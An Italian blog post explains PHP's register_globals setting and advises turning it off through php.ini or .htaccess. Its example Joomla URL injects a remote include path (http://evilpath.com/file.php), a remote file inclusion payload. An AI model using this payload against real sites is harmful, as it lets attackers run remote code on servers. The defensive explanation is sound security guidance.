Vai al contenuto

PHP: guida all’uso corretto di register_globals

2685 big

Aggiornato il: 12-04-2023 16:30
La configurazione di un server web (tipicamente Apache 2.2) per i nostri siti web viene solitamente demandata al gestore dell’hosting stesso, senza che il webmaster debba preoccuparsi di alcunchè. Resta il fatto che questo aspetto può includere una falla anche piuttosto clamorosa, che rischia di compromettere il funzionamento del sito e la possibilità  che un attaccante possa eseguire operazioni arbitrarie su di esso.

Che cos’è register globals in PHP

2685 bigRegister Globals è una variabile creata inizialmente per uno scopo decisamente utile: quello di aiutare i developer a sviluppare, mantenere o creare ex novo componenti di Joomla, moduli di wordpress e via dicendo. In altri termini la situazione è la seguente: se poniamo di avere un URL con parametro GET annesso del tipo:


Vuoi inviare SMS pubblicitari? Prova SMSHosting (clicca qui) . PROMO sconto sul primo acquisto: usa il codice PRT96919

index.php?value=100

crea automaticamente la variabile $value con il valore 100 dentro lo script in esecuzione index.php

Questa è una funziona molto comoda per uno sviluppatore in certe circostanze, ma apre un “buco” che chi sia a conoscenza del CMS che stiamo usando può tranquillamente sfruttare a proprio vantaggio per danneggiare il sistema. In Joomla! (quantomeno nelle vecchie versioni) era possibile sovrascrivere il path di inclusione file:

index.php?mos_config_livesite=http://evilpath.com/file.php

Rimanendo confinati all’ambito Joomla!, c’è da dire che questo tipo di operazioni può essere inibito dall’uso nei moduli/componenti della funzione mosGetParam(), che filtra le variabili in ingresso – e di per sè è molto sicura in tal senso; del resto non possiamo essere sicuri dell’utilizzo massivo della stessa, specie se tendiamo a costruire siti sulla base di un mero “assemblaggio” di componenti differenti tra loro su cui sappiamo poco  nulla. Per risolvere questo problema Apache e PHP mettono a disposizione register_globals, che si può mettere ad “off” per evitare potenziali pericoli come quello esposto.

Esempio pratico con register globals impostato a off

Se stai utilizzando SupportHost (e molti altri server di questo tipo) puoi tranquillamente personalizzare il tuo file PHP.ini, ed inserire un semplice flag in questo modo (che andrà  a sovrascrivere soltanto il parametro che modifichi lasciando invariati gli altri):

register_globals = Off

oppure puoi, se il server non da’ questa possibilità , inserire nel file .htaccess quest’altra direttiva equivalente:

php_flag register_globals off

Chi non dia questa possibilità  (mettere register_globals ad off) oggigiorno spalanca una porta in modo irresponsabile a svariati attacchi, per cui è bene valutare di cambiare hosting.

Ti potrebbe interessare:  CommonCrawl: un web crawler open source e gratuito

Vuoi cambiare hosting? Prova V-Hosting (clicca qui)



Questo blog pubblica contenuti ed offre servizi free da 12 anni. – Leggi un altro articolo a caso – Per informazioni contattaci
Non ha ancora votato nessuno.

Ti sembra utile o interessante? Vota e fammelo sapere.

cyberpunk 12

Ingegnere informatico per passione, consulente per necessità, docente di informatica; ho creato Trovalost.it e ho scritto quasi tutti i suoi contenuti. Credits immagini: pexels.com, pixabay.com, wikipedia.org, Midjourney, StarryAI, se non diversamente specificato. Questo sito non contiene necessariamente suggerimenti, pareri o endorsement da parte del proprietario del progetto e/o espressi a titolo personale. Per contatti clicca qui


Segui il canale Youtube @Tecnocrazia23